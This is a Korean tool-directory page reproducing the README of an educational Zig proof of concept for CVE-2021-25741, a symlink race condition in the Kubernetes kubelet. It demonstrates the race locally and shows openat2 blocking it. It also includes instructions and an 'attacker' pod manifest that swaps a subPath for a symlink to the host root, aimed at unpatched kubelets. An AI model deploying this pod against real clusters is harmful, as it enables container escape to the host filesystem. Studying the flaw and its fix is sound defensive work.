Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/glutenfree69/zigraceexploit
Container SecurityVulnerability AnalysisExploitationCloud SecurityLearning & EducationBinary Exploitation
GitHubglutenfree69/zigraceexploit

ZigRaceExploit

Zig로 작성된 CVE-2021-25741 POC

저장소 보기
45개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-25741 — Zig에서의 TOCTOU 심볼릭 링크 경쟁 조건 익스플로잇

CVE-2021-25741의 원인인 TOCTOU(Time Of Check, Time Of Use) 경쟁 조건에 대한 교육용 익스플로잇입니다. 이는 Kubernetes kubelet의 취약점입니다.

이 프로젝트는 (K8s 클러스터 없이) 로컬에서 동시적인 심볼릭 링크 교체가 lstat()과 open() 사이의 경로 검증을 우회할 수 있는 방법을 보여주며, RESOLVE_* 플래그를 사용하는 openat2()가 해결책임을 입증합니다.

목차

  • 문제
  • 익스플로잇 작동 방식
  • 코드 구조
  • 사전 요구 사항
  • 빌드
  • 사용법
    • Docker로 로컬 테스트
    • openat vs openat2 비교
    • TOCTOU 지연 시간 조정
    • 실제 Kubernetes 노드에서 테스트
  • 예상 결과
  • 코드 설명
  • 사용된 Linux 시스템 콜
  • strace로 디버깅
  • 참고 자료

문제

Linux에서의 경로 해석

커널이 /a/b/c/file과 같은 경로를 해석할 때 구성 요소별로 수행합니다. 각 단계에서 구성 요소가 심볼릭 링크이면 커널이 자동으로 따라갑니다. 이 해석은 원자적이지 않습니다 — 두 단계 사이에 파일 시스템이 변경될 수 있습니다.

kubelet에서의 TOCTOU

Kubernetes kubelet은 정확히 이 취약한 패턴을 사용했습니다:

root@kitploit:~
1. CHECK : lstat(subPath) → "디렉터리이므로 안전함"
     ↕ 경쟁 조건 창 — 컨테이너 내 프로세스가 디렉터리를 심볼릭 링크로 교체
2. USE   : mount(subPath) → 심볼릭 링크를 따라 호스트 파일 시스템 마운트

검사와 마운트 사이에 컨테이너 내 악성 프로세스가 subPath를 호스트의 /로 향하는 심볼릭 링크로 교체하여 호스트 파일 시스템에 대한 전체 액세스 권한을 얻을 수 있었습니다.

해결책: openat2(2)

openat2 시스템 콜(커널 5.6+)은 경로를 해석하고 파일을 원자적으로 열며, 제약 조건을 적용할 수 있습니다:

openat2를 사용하면 TOCTOU 창이 없습니다: 해석 중에 심볼릭 링크가 나타나면 시스템 콜이 즉시 실패합니다.


익스플로잇 작동 방식

두 개의 스레드가 협력하여 TOCTOU 창을 악용합니다:

root@kitploit:~
workdir/
├── legit_dir/
│   └── secret.txt  → 내용: "LEGIT"
├── symlink_target/
│   └── secret.txt  → 내용: "PWNED"
└── target/          → 실제 디렉터리와 심볼릭 링크 사이에서 교체됨

Racer 스레드

초고속 루프를 돌며 renameat2(RENAME_EXCHANGE)를 통해 target/을 원자적으로 두 상태 사이에서 교체합니다:

  • 상태 A : target/이 실제 디렉터리임 (내용: secret.txt = "LEGIT")
  • 상태 B : target/이 symlink_target/을 가리키는 심볼릭 링크임 (내용: secret.txt = "PWNED")

한 번의 교체에 단일 시스템 콜만 사용하므로 경쟁 조건 창이 최대화됩니다.

Victim 스레드 (kubelet 시뮬레이션)

kubelet의 취약한 패턴을 재현합니다:

  1. fstatat("target", AT_SYMLINK_NOFOLLOW) — 디렉터리인지 확인
  2. 선택적 일시 중지 (kubelet의 검사와 사용 사이 지연 시간 시뮬레이션)
  3. openat(dirfd, "target/secret.txt", O_RDONLY) — 파일 열기
  4. read() — 내용 읽기
  5. 내용이 "PWNED"이면 → 경쟁 조건 승리 (심볼릭 링크가 추적됨)
  6. 내용이 "LEGIT"이면 → 경쟁 조건 패배 (실제 디렉터리였음)

보호 모드(--use-openat2)에서는 3단계에서 RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH와 함께 openat2를 사용합니다. 심볼릭 링크가 있으면 커널이 추적하는 대신 ELOOP를 반환합니다.


코드 구조

root@kitploit:~
src/
├── main.zig       # 진입점: CLI 파싱, 공유 상태 생성, 스레드 생성,
│                  # 시간 측정, 결과 출력
│
├── racer.zig      # Racer 스레드: 초기 상태 준비 (target → symlink),
│                  # 그 다음 renameat2(RENAME_EXCHANGE) 루프로
│                  # target/과 legit_dir/을 계속 교체
│
├── victim.zig     # Victim 스레드: N번 반복하며 fstatat → 지연 →
│                  # openat/openat2 → read → "LEGIT" vs "PWNED" 비교
│
├── setup.zig      # 테스트 디렉터리 구조 생성: workdir/, legit_dir/,
│                  # symlink_target/, target/ 및 감시 파일
│
├── syscalls.zig   # 원시 시스템 콜에 대한 상수와 래퍼:
│                  # - open_how 구조체 (커널 UAPI, 3×u64)
│                  # - RESOLVE_* 플래그
│                  # - RENAME_EXCHANGE (= 2)
│                  # - linux.syscall4(.openat2, ...)를 통한 openat2()
│                  # - linux.renameat2()를 통한 rename_exchange()
│                  # - 도우미: is_err(), to_errno(), to_fd()
│
└── stats.zig      # 잠금 없는 원자적 카운터 (std.atomic.Value(u64))
                   # 승리, 패배, 오류, ELOOP 및 형식화된 출력

모든 시스템 콜은 std.os.linux.*를 통해 직접 호출됩니다 (std.fs 또는 std.posix 래퍼 없음). Zig 0.15 표준 라이브러리에 래퍼가 없는 유일한 시스템 콜은 openat2이며, 커널 UAPI 헤더에서 수동으로 정의한 open_how 구조체와 함께 linux.syscall4(.openat2, ...)를 통해 호출됩니다.


사전 요구 사항

도구버전이유
Zig0.15.x컴파일러 + 크로스 컴파일
Docker아무거나

바이너리는 정적으로 컴파일되며 (musl libc) 의존성 없이 모든 Linux에서 실행됩니다.

최소 커널:

  • 3.15+ : renameat2(RENAME_EXCHANGE) 필요
  • 5.6+ : RESOLVE_*와 함께 openat2 필요 (--use-openat2에만 필요)

Mac의 Docker Desktop과 colima는 6.x 커널을 사용하므로 모든 것이 지원됩니다.


빌드

Mac → Linux 크로스 컴파일

root@kitploit:~
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (x86 노드용)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

바이너리는 zig-out/bin/race-exploit에 있습니다.

root@kitploit:~
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

사용법

Docker로 로컬 테스트

root@kitploit:~
# Docker 런타임 시작 (macOS인 경우)
colima start

# 익스플로잇 실행 (기본 취약 모드)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

openat vs openat2 비교

root@kitploit:~
# 취약 모드 (openat) — 경쟁 조건 작동
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# 보호 모드 (openat2) — 경쟁 조건 차단
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

또는 두 가지를 모두 실행하는 스크립트 사용:

root@kitploit:~
./scripts/run_in_docker.sh --iterations 10000

TOCTOU 지연 시간 조정

--delay-us 매개변수는 lstat(검사)과 openat(사용) 사이에 지연 시간을 추가합니다. 지연 시간이 길수록 TOCTOU 창이 커지고 승리율이 높아집니다:

root@kitploit:~
# 지연 없음 — 승리율 ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — 승리율 ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — 승리율 ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1ms) — 승리율 ~50% (포화, racer가 훨씬 빠르게 교체)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

실제 kubelet에서 subPath 검사와 바인드 마운트 사이의 지연 시간은 수 밀리초 정도(API 호출, 마운트 네임스페이스 준비 등)이므로 실제 조건에서 경쟁 조건이 매우 신뢰할 수 있습니다.

전체 CLI 옵션

root@kitploit:~
race-exploit [options]
  --iterations N     시도 횟수 (기본값: 10000)
  --delay-us N       lstat과 open 사이의 마이크로초 지연 (기본값: 0)
  --use-openat2      RESOLVE_*와 함께 openat2 사용 (보호 모드)
  --workdir PATH     작업 디렉터리 (기본값: /tmp/race-workdir)
  --help             도움말 표시

실제 Kubernetes 노드에서 테스트

익스플로잇은 Kubernetes 없이도 작동합니다 — 이는 근본적인 Linux 경쟁 조건입니다. 하지만 실제 노드에서 실행하여 kubelet과 동일한 조건에서 테스트할 수 있습니다.

옵션 1: 노드에서 직접 실행

root@kitploit:~
# 노드 아키텍처에 맞게 크로스 컴파일
# ARM64 (Graviton이 있는 EKS, T2A가 있는 GKE 등)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# 또는 x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# 바이너리를 노드에 복사
scp zig-out/bin/race-exploit user@node:/tmp/

# 노드에서 실행
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# 커널 버전 확인 (openat2를 위해 >= 5.6)
ssh user@node uname -r

옵션 2: Kubernetes 파드에서 실행

바이너리를 포함하는 파드를 생성하여 실행:

root@kitploit:~
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # 바이너리를 미리 이 경로에 복사해야 함
  restartPolicy: Never
root@kitploit:~
# 먼저 바이너리를 노드에 복사
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# 파드 실행
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

옵션 3: subPath로 실제 CVE 재현

CVE-2021-25741의 정확한 시나리오를 재현하려면 kubelet이 subPath가 있는 볼륨의 바인드 마운트를 준비하는 동안 경쟁 조건을 악용해야 합니다:

root@kitploit:~
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # 이 스크립트는 컨테이너 내에서 실행되며 kubelet이 마운트를 준비하는 동안 subPath를 교체합니다
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← kubelet이 이 경로를 확인한 다음 마운트합니다
  volumes:
  - name: shared-vol
    emptyDir: {}

중요: 이 공격은 패치되지 않은 kubelet(버전 < 1.22.2, < 1.21.5, < 1.20.11)에서만 작동합니다. 최신 kubelet은 subPath를 해결하기 위해 RESOLVE_NO_SYMLINKS와 함께 openat2를 사용합니다.

kubelet이 취약한지 확인하려면:

root@kitploit:~
# kubelet 버전
kubectl get nodes -o wide

# kubelet에서 openat2가 사용되는지 확인 (노드에서)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

예상 결과

openat (취약)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

openat2 (보호)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

주요 관찰 사항:

  • "Total attempts"가 요청된 반복 횟수보다 적은 이유는 많은 루프가 건너뛰기 때문입니다 (lstat이 심볼릭 링크를 보고 open을 시도하지 않음)
  • openat 모드에서는 시도의 ~25%가 승리로 이어짐 ("PWNED" 파일이 읽힘)
  • openat2 모드에서는 승리 0% — racer가 교체한 모든 시도는 커널이 ELOOP를 반환하여 감지함
  • ELOOP는 정확히 openat 모드의 승리와 일치: 동일한 비율이지만 차단됨

코드 설명

syscalls.zig — 기본 구성 요소

이 파일은 Zig 0.15 표준 라이브러리에 없는 상수를 정의합니다:

root@kitploit:~
// renameat2(2) : 두 파일 시스템 항목의 원자적 교체
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2) : 시스템 콜에 전달되는 구조체
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY 등
    mode: u64 = 0,    // 권한 (O_CREAT인 경우)
    resolve: u64 = 0, // RESOLVE_* 플래그
};

// open_how.resolve를 위한 해결 플래그
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // 모든 심볼릭 링크 거부
pub const RESOLVE_BENEATH: u64 = 0x08;     // dirfd 위로 올라가는 것을 금지

openat2는 linux.syscall4(.openat2, ...)를 통해 호출됩니다. Zig 0.15에는 시스템 콜 번호가 있지만 래퍼는 없기 때문입니다.

racer.zig — 공격자 스레드

시작 시 target/을 symlink_target/을 가리키는 심볼릭 링크로 변환한 다음, 두 개의 renameat2(RENAME_EXCHANGE) 루프를 돌며 target과 legit_dir을 교체합니다:

root@kitploit:~
반복 1: target=dir,     legit_dir=symlink  ← victim이 dir을 보고 정상적으로 열음
반복 2: target=symlink, legit_dir=dir      ← victim이 심볼릭 링크를 따라감 → PWNED

victim.zig — kubelet 스레드

lstat → 지연 → openat/openat2 → read → 비교를 재현합니다. 결과는 잠금 없는 원자적 카운터(fetchAdd with ordering .monotonic)에 기록됩니다.

setup.zig — 테스트 구조

mkdirat, openat(O_CREAT), write를 모두 원시 시스템 콜로 사용하여 디렉터리 구조를 생성합니다. 두 개의 감시 파일: 실제 디렉터리에는 "LEGIT", 심볼릭 링크 대상에는 "PWNED".


사용된 Linux 시스템 콜


strace로 디버깅

root@kitploit:~
# 두 스레드의 모든 시스템 콜 추적
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# 관심 있는 시스템 콜만 필터링
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# openat2의 ELOOP 확인
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

참고: strace는 Alpine에 기본 설치되어 있지 않습니다. alpine:edge를 사용하거나 apk add strace로 설치하세요:

root@kitploit:~
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"

참고 자료

  • CVE-2021-25741 — Kubernetes Issue #104980
  • Google Security Blog — Exploring Container Security: Storage
  • man 2 openat2 — 수정
  • man 2 renameat2 — 원자적 교체
  • man 2 fstatat — 심볼릭 링크를 따르지 않는 lstat
  • Symlinks and path resolution — Star Lab
도구 다운로드
플래그효과
RESOLVE_NO_SYMLINKS모든 심볼릭 링크 추적 거부 → ELOOP 반환
RESOLVE_BENEATH기본 디렉터리 위로 올라가지 못하게 함 → EXDEV 반환
RESOLVE_IN_ROOTdirfd를 파일 시스템 루트로 처리
RESOLVE_NO_XDEV마운트 지점 통과 거부
Mac에서 Linux 바이너리 실행
colima아무거나macOS의 Docker 런타임 (또는 Docker Desktop)
시스템 콜익스플로잇에서의 역할Zig 래퍼
renameat2(RENAME_EXCHANGE)target ↔ legit_dir 원자적 교체linux.renameat2()
fstatat(AT_SYMLINK_NOFOLLOW)lstat: target이 dir인지 symlink인지 확인linux.fstatat()
openat(O_RDONLY)심볼릭 링크를 따라 파일 열기 (취약)linux.openat()
openat2(RESOLVE_NO_SYMLINKS)심볼릭 링크를 거부하며 파일 열기 (수정)linux.syscall4(.openat2, ...)
symlinkat초기 심볼릭 링크 target → symlink_target 생성linux.symlinkat()
unlinkattarget을 심볼릭 링크로 다시 생성하기 전에 제거linux.unlinkat()
mkdirat테스트 디렉터리 생성linux.mkdirat()
read / write / close감시 파일 I/Olinux.read() / linux.write() / linux.close()